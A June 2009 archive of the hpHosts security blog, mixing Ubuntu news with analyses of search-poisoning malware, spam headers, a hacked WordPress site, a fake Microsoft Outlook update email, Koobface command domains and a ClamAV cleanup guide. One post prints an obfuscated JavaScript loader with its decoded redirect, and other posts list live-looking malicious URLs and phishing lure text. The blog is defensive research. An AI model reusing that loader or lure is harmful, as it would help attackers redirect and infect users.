hpHosts Blog: June 2009

Sunday, 28 June 2009

Full Circle Magazine: Issue 26!

Along with a long-promised site redesign, this month, we’ve got some more FCM goodness in store for you readers.

This month:

- Command and Conquer – MOC & IRSSI
- How To: Ubuntu As A Guest, Apt-Cacher, and Inkscape – Part 3.
- My Story – Why I Converted To Linux.
- Review – WebHTTrack
- MOTU Interview – Stefan Ebner.
- Top 5 – Linux-powered Devices.
- Ubuntu Women, Ubuntu Games, and all the usual goodness!

Read more
http://fullcirclemagazine.org/2009/06/28/issue-26-has-arrived/

Get it while it's hot!
http://fullcirclemagazine.org/issue-26/

Issues 0 - Current
http://fullcirclemagazine.org/downloads/

Forums:
http://ubuntuforums.org/forumdisplay.php?f=270

Wiki:
http://wiki.ubuntu.com/UbuntuMagazine

Saturday, 27 June 2009

Google serving Michael Jackson related malware

It should come as no surprise that when a tragedy happens, the criminals online, are immediately looking for ways to exploit such. The tragedy of Michaels passing is no different.

I was keeping an eye on Google for the last 48 or so hours to see what would come up, and there's literally a plethora of malware infections waiting for you. For example, lets take the following, which claims;

Michael Jackson (Death Photo) - Vox
26 Jun 2009 ... Blog 15 just almost body Southern Michael Jackson short final Email above ... music Site top Michael dominates Michael Hoax once his -- earlier to buried ... Lombard (Farrah Fawcett Playboy Video)Michael Jackson (Death ...
marylinrsscolumn.vox.com/.../michael-jackson-death-photo-1.html?_... - 17 hours ago

Loading the site shows us that (surprise surprise) it claims to be a video, and tries to make us believe the video has been posted by a real person;

Not surprisingly, if you click on this video, you're taken to a fake AV (vURL Results: http://vurl.mysteryfcm.co.uk/?url=690869);

1. video.xmancer.org/go.php?sid=1&name=michael+jackson&hostingtype=vox&theme=trends&category=&from=videoplayer

2. greatrewards.org/xstat/go.php?sid=1&name=

3. alls-tube-here.com/xplays.php?id=40014&name=

4. softportal-files.com/streamviewer.40014.exe (85K - ac0743191768749085e7806810a7efd4)

Sadly, detection for this particular variant is seriously lacking, with VT showing only 2 vendors detecting it;

http://www.virustotal.com/analisis/47e70bb33771451699cc65b171b8894a34f578023821449f6d278147f3106869-1246133921

HTTP/1.1 302 Moved Temporarily
Server: nginx/0.6.34
Date: Sat, 27 Jun 2009 20:11:40 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.2.9
Location: http://greatrewards.org/xstat/go.php?sid=1&name=
Content-Length: 0

HTTP/1.1 302 Found
Date: Sat, 27 Jun 2009 20:11:42 GMT
Server: Apache/1.3.41 (Unix) PHP/5.2.5
X-Powered-By: PHP/5.2.5
Set-Cookie: schema1=true; expires=Sat, 04-Jul-2009 20:11:42 GMT
Set-Cookie: visited1=5; expires=Sat, 04-Jul-2009 20:11:42 GMT
Referer: http://vurl.mysteryfcm.co.uk
Location: http://alls-tube-here.com/xplays.php?id=40014&name=
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

HTTP/1.1 200 OK
Date: Sat, 27 Jun 2009 20:11:39 GMT
Server: Apache/1.3.39 (Unix) PHP/5.2.5
X-Powered-By: PHP/5.2.5
Set-Cookie: PHPSESSID=a3c13dc8d583c237792077cd1c8639c8; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

What is surprising, is that alot of those I checked (especially the *.blogspot.com sites), pointed to sites that had already been shut down.

Either way, this is going to get worse as the days go on, and it should be noted, it's not only search terms associated with Michael Jackson or Farrah Fawcet that are affected - these malicious links are in almost ALL results, irrespective of search terms (start at the last page of the results, that's where they tend to lie).

Be careful out there folks, and ensure you're surfing with ActiveX DISABLED (and unless the site absolutely requires it, scripts should be disabled too, aswell as META REFRESH).

/edit

ThreatExpert report for the variant mentioned above.

http://www.threatexpert.com/report.aspx?md5=ac0743191768749085e7806810a7efd4

Michael Jackson condolences book

MJWorld.net (Michael Jackson World Network), have opened a condolences book for those of us that would like to pass on your condolences.

http://www.mjworld.net/condolences/

Friday, 26 June 2009

Portable Ubuntu: Got some server space and bandwidth to spare?

I'd completely forgot about the Portable Ubuntu project until I was researching the reason for the Ubuntu counter being offline again (last went down late last year). Looking through their forums shows they are currently in need of volunteers willing to give up over 600MB (the size of the latest portable version apparently) of space on their server, and of course, the bandwidth to go with it;

http://portableubuntu.demonccc.cloudius.com.ar/bbpress/topic.php?id=129

Portable Ubuntu is a fantastic choice for Windows users wanting to try out Ubuntu, but don't want the hassle of burning ISO's, or using Wubi etc, as you can just download and run it as you would any other Windows application.

You can find their homepage at;

http://portableubuntu.demonccc.com.ar/

And a review of it at;

http://lifehacker.com/5195999/portable-ubuntu-runs-ubuntu-inside-windows

If you've got some space and bandwidth to spare for a wonderfully useful Linux project, please do get in touch with them.

When is a spam/bot filter not enough?

When it's not effective enough of course!.

Spam and bot filters have one major flaw, and it's the same flaw that other security related products have - they rely on lists/databases of known offenders. It's great when the offender is in one of the databases, as it means they're instantly blocked, but with the growing trend over the last several years, of criminals hiring out their botnets to spamming gangs (when they aren't doing the spamming themselves of course), these filters have proven to be simply a stop gap - otherwise known as effective until they come along with an IP/e-mail not known to the blacklists.

Take for example, aiseesoft.com, who are by far the most prolific spammers visiting the Freeware Arena forums. The latest IP they used was 114.249.124.223, which you'd have thought, given it's network, China Unicom Beijing province network, would already be on all of the major blacklists - but alas no, it turns out the IP used, wasn't on any of them.

There are of course, additions you could use, such as Akismet, but experience has shown, incorporating that into custom sites, non-supported CMS systems is a pain. It does however, beg the question - since it's been shown that blacklists and other such filters, are only partially effective, even Akismet doesn't catch it all, what other options are there for us?

One idea I've been pondering, is a heuristic filter, but at present, I'd have no idea how to design such a beast, let alone begin writing one. I'm therefor going to put the question to you - other than blacklists, how do you propose we all go about fighting spam (given most machines serving spam now, are actually drones that are part of a botnet, rather than your average skiddie running XRumer)?

Thursday, 25 June 2009

RIP Michael Jackson: 29.08.1958 - 25.06.2009

I've been a fan of Michael Jackson for well over 20 years, and am extremely saddened to hear of his passing. He was without a doubt, the best entertainer in the world, bar none, and will continue to be for years to come. His music transcended race, gender and pretty much everything else.

Rather than go on about how much of an impression he made on me, and how much I have loved, and indeed, still love his music, I will instead put out a warning.

We all know, when something tragic happens, the bad guys go all out to take as much advantage as they can. Given how well known Michael was, and how many fans he has world wide, it will come as no surprise that they're going to try and take advantage of this situation.

Rather than repeat what has been written, I'll point you to the Eset blog instead;

http://www.eset.com/threat-center/blog/?p=1218

RIP Michael. I've been a fan of yours for most of my life, and will continue to be for many more years to come.

Foreign Policy Blog network hacked

I came across a rather strange referral to hpHosts earlier - strange because it was coming from defense.foreignpolicyblogs.com, a site that has absolutely no reason to refer to the hpHosts website.

I loaded the site up, and did a search for the word "hphosts", and sure enough, it was highlighted. If we look at the source code for the site, and so far, it only appears to be the defense. that is affected by this, we see alot of extra code and links, all pointing to giojewelry.com;

http://vurl.mysteryfcm.co.uk/?url=690082

giojewelry.com resolves to 93.84.112.110, which is on the Beltelecom network (AS6697), and is also the same IP that firemicrosoft.net (amongst others) is hosted at.

Given that defense.foreignpolicyblogs.com is still using a very old version of WordPress with known vulnerabilities (according to the source code, they're still using 2.7.1), I think it's pretty safe to say how they were able to get in, when of course this happened, is a different matter (I've not been able to find anything on the many hacker/skiddie forums referencing the site). I'm trying to get in touch with them to get them both cleaned up, and upgraded, I'll report back if I'm successful (and get the ISC involved if I'm not).

As for giojewelry.com, nothing new there I'm afraid, it's your typical OEM software scam site.

WhoIs details:

Registrant:
Boris Hinstein
Kalinina str 3-15
Minsk, Minsk 220124
Belarus

Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
Domain Name: GIOJEWELRY.COM
Created on: 19-Sep-02
Expires on: 19-Sep-09
Last Updated on: 26-Sep-08

Administrative Contact:
Hinstein, Boris lstsoft@yandex.ru
Kalinina str 3-15
Minsk, Minsk 220124
Belarus
375297504299 Fax --

Technical Contact:
Hinstein, Boris lstsoft@yandex.ru
Kalinina str 3-15
Minsk, Minsk 220124
Belarus
375297504299 Fax --

Domain servers in listed order:
NS201.JEK.BZ
NS202.JEK.BZ

Net-block details:

WhoIs details:

inetnum: 93.84.112.0 - 93.84.119.255
netname: BELTELECOM-DATACENTER
descr: MCC & REGIONAL DCs
country: BY
admin-c: DK2210-RIPE
tech-c: IS2093-RIPE
status: ASSIGNED PA
mnt-by: AS6697-MNT
remarks: INFRA-AW
source: RIPE # Filtered

person: Dmitry Komarov
address: 220088, Minsk
address: 55, Zaharova str.,
address: RUE Beltelecom
phone: +375 17 2171799
fax-no: +375 17 2100259
e-mail: dimon@mck.beltelecom.by
nic-hdl: DK2210-RIPE
mnt-by: AS6697-MNT
source: RIPE # Filtered

person: Ivan Semernik
address: 220088, Minsk
address: 55, Zaharova str.,
address: RUE Beltelecom
phone: +375 17 2171799
fax-no: +375 17 2100259
e-mail: ivan.semernik@dc.beltelecom.by
nic-hdl: IS2093-RIPE
mnt-by: AS6697-MNT
source: RIPE # Filtered

% Information related to '93.84.0.0/15AS6697'

route: 93.84.0.0/15
descr: DELEGATED FROM BELPAK
origin: AS6697
mnt-by: AS6697-MNT
source: RIPE # Filtered

AS28840 involved in spambot activity

No surprises here I'm afraid, AS28840 is a russian outfit known as "OAO TATTELECOM" (tattelecom.ru), with the routes (amongst others);

78.138.128.0/18
78.138.160.0/19

A little basic research shows the IP that sent me the spam, which I'll get to in a second as it is rather funny, is known to ProjectHoneyPot and flagged by them as "Suspicious";

http://temerc.com/Check_Spammers/?ip=78.138.191.128

Given the information at PHP, it looks like a mail server, and I find it very difficult to believe that it's a compromised one, especially given it's location (perhaps I'm being too suspicious there? time will tell), and one or two of the other IP blocks owned by this company, has also been involved in malicious activity.

What is rather strange, is that other than the ProjectHoneyPot entry, I couldn't identify any other information referencing 78.138.170.179 as being malicious, though I easily found several references to other net blocks owned by this AS in various places such as news.admin.net-abuse.sightings, romancescam.com.

So what of the e-mail itself? Well in this case, though boring as the tracks stop there, the linky in the e-mail is to - Google (Outlook stripped the HTML, so presumably it didn't originally - one of these days Outlook will actually take notice of the options I've got set).

And yep, the headers are childs play to interpret too, one single fake "From" line, and that's it.

Return-Path: iydc@bonellryan.com
Delivered-To: [REMOVED]
X-FDA: 62387961720
X-Panda: scanned!
X-Filterd-Recvd-Size: 2294
Received: from 179.170.138.78.in-addr.arpa (unknown [78.138.170.179])
by imf20.hostedemail.com (Postfix) with ESMTP
for <[REMOVED]>; Thu, 25 Jun 2009 17:52:58 +0000 (UTC)
Received: from 78.138.170.179 by mail.bonellryan.com; Thu, 25 Jun 2009 20:52:58 +0300 <---FAKE
From: "Joaquin Haney" <iydc@bonellryan.com>
To: <[REMOVED]>
Subject: About Us
Date: Thu, 25 Jun 2009 20:52:58 +0300
MIME-Version: 1.0
Content-Type: text/plain;
charset="windows-1250"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
Thread-Index: Aca6QC14UYO5I7KFTGN0RMR9IYT63Z==
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.2663
Message-ID: <01c9f5d6$eb861810$b3aa8a4e@iydc>
X-EsetId: 81896726F0AC3331D7CD

References:

hpHosts - 78.138.170.179
http://hosts-file.net/?s=78.138.170.179

Wednesday, 24 June 2009

Using the ClamAV LiveCD to clean an infected Windows machine

Should you ever get into a situation that finds your computer unable to boot to the desktop due to an infection, or the system boots fine, but doesn't get to the desktop, what do you do? Well, typically, your options are;

1. Format and re-install Windows
2. Remove the hard drive and pop it into a secondary machine as a slave
3. Use a Linux LiveCD to boot and clean the machine

The first option is obviously, not viable for most people as you'd want to backup your documents and such. The second, again, is not viable for most people as not everyone has a secondary machine.

The last option however, is very simple, and can be used by everyone. To save yourself downloading a large file, you can download a much smaller LiveCD specifically for this task, in the form of the ClamAV Live CD by Brandon Perry;

http://www.volatileminds.net/projects/clamav/

Whilst rather old, this can be updated to use the latest definitions, and we'll go through this in a second. The first thing you need to do once you've downloaded the ISO, is burn it to a CD - I personally suggest ISORecorder for this;

http://isorecorder.alexfeinman.com/isorecorder.htm

The first screen you will see when booting the CD, is the introduction, for this, simply type clamav and press enter. You'll need to wait a few minutes for it to load, but once loaded you'll be at the command prompt;

ubuntu@ubuntu~1$

Type sudo apt-get update and press return. Again, you'll need to wait a couple of minutes, but once it's finished, you'll be back at the prompt. Next we need to update the ClamAV signatures, to do this, type sudo freshclam and press return.

Next, we need to mount the drive containing your Windows installation. Type each of the following commands, pressing return after each of course.

cd /home
sudo mkdir mnt
sudo mount -t ntfs-3g /dev/sda1 ./mnt

Finally, we need to run the scan (note this will take some time, so grab a coffee, watch a movie, take the dog for a walk or ... you get the idea), to do this, type the following and press return;

clamscan -i -r --remove ./mnt

Note: The authors tutorial for this LiveCD is available in English, German or Polish at http://www.volatileminds.net/projects/clamav/tutorial.html, his blog also documents a script you can use (on Linux obviously, no such beast yet exists for Windows) to update the LiveCD .ISO automagically via cron

As an aside, I do actually generally recommend people surf the internet using a Linux LiveCD anyway as it makes it much harder to infect your Windows system (there is malware out there for Linux, make no mistake, but no-where near as much as there is for Linux, due mainly to Windows popularity). You don't even need to boot the system with the CD, you can use MobaLiveCD instead (though bear in mind, this is MUCH slower, and tends to require ALOT of RAM, and tends to hate trying to run large (over 150MB) ISO's (I've had the most success with it, using DamnSmallLinux).

Tuesday, 23 June 2009

Notifiication of possible downtime

You may have noticed the network was down earlier, sadly this notification didn't come through until after I'd got it back online again, so I wasn't aware PlusNet were doing any work.

The following therefor, is a notice that there may be additional downtime for the hosts-file.net, mysteryfcm.co.uk, fspamlist.com sites whilst they carry out the work referenced;

http://usertools.plus.net/status/archive/1245771684.htm

Monday, 22 June 2009

Essential Maintenance: hpHosts server

Just a note folks, the hpHosts server is going offline in approx 2 minutes time for essential maintenance. Please accept my apologies for the disruption. It will be back online within 30-45 mins.

/edit 06:40

She's back folks (she was in dire need of cleaning and replenishment of the coolant gel). Apologies again for the inconvenience.

On the subject of blog spam ......

.... though technically not blog spam, one of the sites I look after, had the following submitted to the guestbook (good thing I wrote a filter for it huh?) a few minutes ago;

*********************************************************************
General
*********************************************************************
Reason for message: BLACKLISTED USER guestbook submission notification
Server address: [REMOVED]
Referring page: [REMOVED]
Date submitted: 23 June 2009
Time submitted: 02:08:04
Submitted by: Helen < helta3443@gmail.com >
Posters IP: 66.114.134.154
*********************************************************************
Details
*********************************************************************
Name: Helen
E-mail: helta3443@gmail.com
Private?: False
Comments:

that bring bloodthe blood are open.
<a href=www.youtube.comorderviagraonline1>order viagra here<a>state the penis isarteries going toblood can enter the[url=www.youtube.comorderviagraonline1]order viagra online[url]then gets trapped inelongates and

Incase you're wondering, our dear spammer is apparently coming from pioneernet.net (apparently a US based ISP - never heard of them myself).

You're probably wondering;

1. Why I am writing about this
2. Why I didn't have it block anything with A HREF or BBCode

Well, to answer #1, I thought it was funny, especially given this particular spam doesn't lead to a YouTube video, which I was actually expecting - but leads to a profile that links to pharmacy-elite.com (IP: 195.95.155.21), registered to Nexton Limited in the Ukraine, and hosted by MoskvaCom Ltd in Russia (AS2118), who also host canadianhealthcare.eu (IP: 195.95.155.3).

Our dear spammer however, is also known for something a little worse than meds spam - rogue crapware. Looking at ProjectHoneyPot shows references to a fake WordPress blog (I say fake because I've got a few other sites listed that are hosted on the same IP block) at softwarestory.com. Looking at the source code, shows a reference to a .JS file;

vURL Online - softwarestory.com/wp-admin/games/oufff.js
http://vurl.mysteryfcm.co.uk/?url=689094

This returns some rather interesting code;

var str=["336", "333", "332", "332", "332", "441", "420", "437", "355", "435", "434", "441", "384", "371", "382", "336", "333", "332", "332", "332", "425","440", "433", "422", "439", "428", "434", "433", "355", "434", "420", "420", "442", "426", "424", "434", "440", "437", "444", "444", "441", "440", "363","436", "440", "424", "437", "444", "364", "446", "336", "333", "332", "332", "332", "332", "442", "428", "433", "423", "434", "442", "369", "431", "434", "422", "420", "439", "428", "434", "433", "384", "362", "427", "439", "439", "435", "381", "370", "370", "434", "433", "431", "428", "433", "424", "425", "440", "437", "433", "428", "439", "440", "437", "424", "375", "440", "369", "428", "433", "425", "434", "370", "438", "440", "439", "437", "420", "370", "428", "433", "369", "422", "426", "428", "386", "373", "371", "361", "435", "420", "437", "420", "432", "424", "439", "424", "437", "384", "362", "355", "366", "355", "436", "440", "424", "437", "444", "355", "366", "355", "362", "361", "440", "437", "384", "372", "361", "395", "407", "407", "403", "418", "405", "392", "393", "392", "405", "392", "405", "384", "438", "434", "425", "439", "442", "420", "437", "424", "438", "439", "434", "437", "444", "418", "426","420", "432", "424", "438", "362", "382", "336", "333", "332", "332", "332", "448"];

var temp='';
var gg='';
for (i=0; i<str.length; i++){
gg=str[i]-323;
temp=temp+String.fromCharCode(gg);
}
eval(temp);

If we decode this, we see;

var pov=0;
function oaawgeouryyvu(query){
window.location='http://onlinefurniture4u.info/sutra/in.cgi?20¶meter=' + query + '&ur=1&HTTP_REFERER=softwarestory_games';
}

If we remove ' + query + ', we see it redirects us to;

stabilityinternettools.com/index.php?affid=01000

To answer #2, I don't get anywhere near as many infected or spammy e-mails as I used to, so I've got to try and keep some of my fun.

References:

Spambot Search Tool - 66.114.134.154 / helta3443@gmail.com
http://forum.hosts-file.net/sbst/index.php?name=&email=helta3443@gmail.com&ip=66.114.134.154

hpHosts - onlinefurniture4u.info
http://hosts-file.net/?s=onlinefurniture4u.info

hpHosts - stabilityinternettools.com
http://hosts-file.net/?s=stabilityinternettools.com

Spambot Search Tool: One or two notables

This is just a follow up concerning the latest release of the SBST. Unfortunately I completely forgot to mention a couple of things concerning the latest release. Firstly, if a match is found in one of the databases when using check_spammers_plain.php, it will NOT check the rest of the databases as I didn't see there was really much point (it also speeds up the script).

Secondly, and thanks to Derek for reminding me, although I mentioned $CheckFSL and $CheckSFS being changed, I forgot to mention that you will need to update these variables in your config.php if you're already using the SBST. If you do not change these to $bCheckSFS and $bCheckFSL respectively, the SBST will NOT check either fSpamlist or StopForumSpam.

hpHosts - UPDATED June 22nd, 2009

hpHOSTS - UPDATED June 22nd, 2009

The hpHOSTS Hosts file has been updated. There is now a total of [b]67,514[/b] listed hostsnames.

If you are NOT using the installer, please read the included Readme.txt file for installation instructions. Enjoy! :)

Latest Updated: 22/06/2009 19:18
Last Verified: 22/06/2009 17:00

Download hpHosts now!
http://hosts-file.net/?s=Download

Alas as a side note, the current version of PGP I've got doesn't seem to have a "just sign the damn thing" option, so it seems to be signing the file, but including a copy of the file in the signature - hence the larger file sizes. I've been right through the documentation and can't find an option to get it not to do this. The trial version expires in 4 days anyway though so I'm going to see if I can dig out the previous version I was using.

Friday, 19 June 2009

FAIL: "Microsoft has released an update for Microsoft Outlook"

There's been a whole host of these recently, so this one is nothing new - except that in this case, only 1 out of those he's seen, actually resolves.

Incase it was just a case of his DNS server not having the IP's yet, I ran the hostnames he listed through hpObserver, and the results showed exactly the same thing. In this case, the one that does resolve, is quite obviously a part of a botnet, and not surprisingly, consists mainly of home DSL lines by the looks of it.

hpObserver results are at;

http://hosts-file.net/misc/hpObserver_-_Microsoft_Outlook_Malware.html

This email looks like it's from Microsoft, but it is really intended to load a trojan onto your PC:

From: Microsoft Customer Support [mailto:no-reply@microsoft.com]
Sent: 18 June 2009 22:47
Subject: Microsoft has released an update for Microsoft Outlook

Critical Update

Update for Microsoft Outlook / Outlook Express (KB910721)
Brief Description
Microsoft has released an update for Microsoft Outlook / Outlook Express. This update is critical and provides you with the latest version of the Microsoft Outlook / Outlook Express and offers the highest levels of stability and security.
Instructions
• To install Update for Microsoft Outlook / Outlook Express (KB910721) please visit Microsoft Update Center:
http://update.microsoft.com/microsoftofficeupdate/isapdl/default.aspx?ln=en-us&id=[redacted]
Quick Details
• File Name: officexp-KB910721-FullFile-ENU.exe
• Version: 1.4
• Date Published: Thu, 18 Jun 2009 16:46:55 -0500
• Language: English
• File Size: 81 KB
System Requirements
• Supported Operating Systems: Windows 2000; Windows 98; Windows ME; Windows NT; Windows Server 2003; Windows XP; Windows Vista
• This update applies to the following product: Microsoft Outlook / Outlook Express
Contact Us
© 2009 Microsoft Corporation. All rights reserved. Contact Us |Terms of Use |Trademarks |Privacy Statement

Thursday, 18 June 2009

vURL Online: Bug fixes and problems

Oh the joys ..... you spend ages writing code, functions for that code, testing, re-testing, re-writing, re-testing again - and all goes perfectly. Then out of the blue, problems that weren't there before, suddenly start appearing as if out of nowhere.

This is what seems to have happened lately to the vURL Online service - several issues have arisen that weren't there previously (or if they were, they didn't show up during testing).

I've now fixed the following issues, and would appreciate your pointing me to anymore that you notice;

1. PhishTank returns Bad Request instead of result

This one seems to be sporadic, and I know the cause for this - PhishTank wants the URL not only Base64 encoded, but also URL encoded in cases where the URL contains an "=" - which is fair enough. However, sometimes it is returning a Bad Request error even when the URL is properly formatted.

I think I've fixed this (have tested since, and not noticed it re-appearing), but let me know if you notice the PT results saying Bad Request, instead of Listed or Not Listed.

2. hpHosts announcing a host was listed, when infact it was actually only listed with the www. prefix

This was actually a pretty easy fix as it wasn't a problem with vURL itself, but with the fuzzy matching I was having the hpHosts query perform. I've disabled fuzzy and partial matching, so it will only return true if the domain itself is listed, and not if the domain is listed but ONLY with the "www." prefix.

3. Headers and body not properly split from each other

Again, this is due to the functions I had it perform. I've re-written the function so it now properly splits the headers from the actual source code (this is actually having to be done because I can't seem to find a method to have cURL enclose the headers in "[HEADERS]", seperate from the body as the proxy script returns both in the same result (I could have it perform two requests so they're obtained seperately, but I'm trying to have as little overhead as possible to speed things up).

4. Links not properly detected and returned

The function I wrote for this was actually working perfectly, what was actually happening is that these results were not then being passed back to the main processor for formatting and display. I've no idea what has caused this, and have spent over 3-4 hours scouring the code, but have had to write a work-around instead.

5. User Agent selection

This was not actually a bug, just missing UA's in the UA dropdown list. I've now added a few more to it, namely, MAC (Safari) UA's.

Check out vURL Online at:

http://vurl.mysteryfcm.co.uk/

vURL currently uses an MDB to store the URL's and such being requested, due to the size of the current DB, this is going to be changed to MySQL in the coming months (or when I get around to it - MySQL isn't currently installed on the vURL server, so I'll have to do that, then configure it, then re-write the vURL site to use MySQL instead of MDB).

Nine Ball: Juggling with VirusTotal

There’s been some media interest in an alert from WebSense about something they call Nine Ball (he, said, trying to keep his sense of humour in check). It has some pretty interesting characteristics. I’d like to pick up, though, one point that the reports I’ve seen have rather overstated.

WebSense mentioned that vendor detection is low on a Trojan Loader and a malicious PDF. This is true, or was at one point in time, in the sense that a PDF sample submitted to VirusTotal resulted in a report indicating that only three vendors identified it as malicious. Well, actually, even that isn’t quite accurate: two of those hits seem to be a generic packer/javascript detections rather than identification of the file as malicious in its own right. (Similarly, most of the Trojan Downloader detections are generic, and one simply says "suspicious".)

This industry is divided on whether detection purely on packer signature is a good idea. Some vendors flag almost all packed malware as malicious, packed or suspicious: this is because malware distributors use packers, obfuscators and protectors to make it more difficult for security software to recognize code that would otherwise be identified as known malicious code.

The problem is that a fair number of developers use the same tools (in some cases tools specifically developed for malicious purposes) to protect legitimate applications from disassembly and so on, as a Digital Rights Management (DRM) strategy. Well, that’s what they tell us. For this reason, some vendors don’t automatically detect packed apps as malicious, for the benefit of those to whom avoiding false positives may be as important as high detection rates. (Strangely enough, some organizations find FPs a very signific;ant problem. Of course, all companies do if an innocent and widely used file such as a Windows system file is misidentified as malicious.)

Note, however, that high detection rates and low false positive rates aren’t mutually incompatible. Products that don’t generally detect packers as automatically malicious (we don’t, with some exceptions) may well detect packed code anyway, using custom unpackers and other techniques such as emulation. So where’s the problem with VirusTotal? Well actually, the problem isn’t with VirusTotal (or rather with Hispasec, who provide the free VirusTotal service), but with the way that it’s used.

http://www.eset.com/threat-center/blog/?p=1154

Additional references:

http://www.sophos.com/blogs/sophoslabs//?p=4890
http://securitylabs.websense.com/content/Alerts/3421.aspx

Opera users beware!

I read about this a couple of days or so ago, and am glad I'm not the only one that thinks is a really bad decision on Opera's part. Browsers should NEVER EVER EVER EVER have a server built into them!

Botnet owners unite!

Opera has introduced a new feature called “Unite” that will allow users to turn their browsers into servers. It’s a concept that might be as well-thought-out as sending customers on a hike in a safari park with backpacks full of raw meat.

According to the Opera Unite Developer’s Primer, “Opera Unite features a Web server running inside the Opera browser, which allows you to do some amazing things.” We’re betting there some other people who use the Internet who will be doing some amazing things with this too.

Unite is basically a group of extensions to the Opera Web browser widget system. They will make it possible for Opera users to set their machines up as servers to provide their friends with blogs or access to files. Opera’s servers will serve up pages for the “Turbo” feature and act as proxies (with firewall) for the communication between the users’ Unite-linked browsers. Opera staff will check for bugs and malcode. Adult material is not allowed.

The most significant question that arises is: Will users accidentally give unintended access to their file systems? Opera programs are really widgets. Shortcuts have been provided for configuring what they can access. Some shortcuts lead to system folders. There are warnings included in the documentation, but, ultimately what is exposed is left to the developer

http://sunbeltblog.blogspot.com/2009/06/botnet-owners-unite.html

Wednesday, 17 June 2009

25th Anniversary - Congrats Kev!

I am extremely happy to announce the 25th anniversary of one of my favourite comedians (it's not his fault he's Australian ;o)), Kevin 'bloody' Wilson. I'll not post the e-mail I received from them about this (had to send a small rant as the link they sent me to the site, was not a link to the domain - but a TinyURL err, URL - Short URL's should NEVER be used in e-mails - ever! (and yes, that includes sURL)), instead, I'll just post a link to the 'Jenny Talia' site instead.

JennyTalia.com - Video of the week - Congratulations dad!
http://www.jennytalia.com/2009/06/video-of-the-week-8/

Note: if you've got scripts + ActiveX enabled, be warned, she's embedded the YouTube video in her blog (GRRRR!)

I don't need to mention, those of you familiar with Kev and Jenny, will already know not to have the kids about when you view this - it's 18+ only folks! (nope, no pornographic pictures - just think Billy Connolly with alot of extra lewdness!)

Kev's own site can be found at;

http://www.kevinbloodywilson.com

Not sure who he is? Go read about him;

http://www.kevinbloodywilson.com/site/wtf-is-kev/

His online radio is here;

http://www.kevinbloodywilson.com/site/kev-fm/

FireEye: Killing the beast .... Part II

These articles were published back in December 2008 but most of the details are still valid for the newer versions.

Back to the CnC structure ... Koobface relies mostly on domain names to locate its CnC servers, instead of using hard coded IPs like Pushdo. As a matter of fact, I observed that it tends to change its CnC domains more often than the IPs behind those domains change. Based on my lab data (for the last 3 months or so) I see Koobface connecting to 23 unique domains.

Here is the complete list:

a22092008.com
upr15may.com
a13092008.com
5824125537.com
a221008.com
y171108.com
a080908.net
main15052009.com
wn20090504.com
nua06032009.biz
lastshanse26032009.com
supersearch20090330.com
wnames1404.com
ram06032009.biz
fdns6mar09.info
nua20090515.com
websrv09.com
er21012009.com
open21012009.com
onames0603.com
586523333.com
x17012009.com
f071108.com

Surprisingly, when I count the collective IPs behind all these domains, I hardly find 4 unique IPs. Multiple domains have been resolving to these fixed IPs over the period I examined.

Malware: Your friend invited you to Twitter!

I don't use Twitter myself, don't have a need for it, so was surprised to see the following arrive in my inbox as it instantly aroused my suspicion - Twitter have no need to e-mail me, and certainly have no need to send me any files.

Alas as you've probably guessed, and I already knew, it wasn't from Twitter. This one is from some jackass (12.96.196.234 - maha.matisp.net) that obviously doesn't know enough about trying to infect people, to either change icons, use a packer, or even try a bit harder to hide the real file type - they just tried disguising it using "document.chm{lots of spaces}.exe" - childs play stuff (little note my dear malware guy, this doesn't really work when you've sent in a zip file - the zip shows the real extension without my having to look for it).

Exported by: Outlook Export v0.1.6

From: invitations@twitter.com
E-mail:invitations@twitter.com [ 168.143.162.100 - Resolution failed ]
Date: 17/06/2009 16:49:09
Subject: Your friend invited you to twitter!
**************************************************************************
Links
**************************************************************************

Link: http://m.twitter.com/
Domain: m.twitter.com
IP: 128.121.146.100 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Unknown

Link: http://twitter.com/home
Domain: twitter.com
IP: 128.121.146.228 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Listed
PhishTank Status: Unknown

Link: http://assets1.twitter.com/images/tour_1.gif
Domain: assets1.twitter.com
IP: 128.121.146.229 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Unknown

Link: http://dotsub.com/api/smallplayer.php?filmid=3066&filminstance=3068&language=none
Domain: dotsub.com
IP: 8.17.173.15 [ Resolution failed ]
hpHosts Status: Listed
MDL Status: Not Listed
PhishTank Status: Unknown

Link: http://twitter.com/account/resend_password
Domain: twitter.com
IP: 168.143.162.100 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Listed
PhishTank Status: Unknown

Link: http://twitter.com/account/complete
Domain: twitter.com
IP: 168.143.162.100 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Listed
PhishTank Status: Unknown

Link: http://twitter.com/about#about
Domain: twitter.com
IP: 168.143.162.100 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Listed
PhishTank Status: Unknown

Link: http://twitter.com/about#contact
Domain: twitter.com
IP: 128.121.146.228 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Listed
PhishTank Status: Unknown

Link: http://blog.twitter.com/
Domain: blog.twitter.com
IP: 74.125.77.121 [ ew-in-f121.google.com ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Unknown

Link: http://status.twitter.com/
Domain: status.twitter.com
IP: 72.32.231.8 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Unknown

Link: http://twitter.com/downloads
Domain: twitter.com
IP: 128.121.146.228 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Listed
PhishTank Status: Unknown

Link: http://apiwiki.twitter.com/
Domain: apiwiki.twitter.com
IP: 208.96.32.2 [ pbwiki.com ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Unknown

Link: http://search.twitter.com/
Domain: search.twitter.com
IP: 128.121.146.107 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Unknown

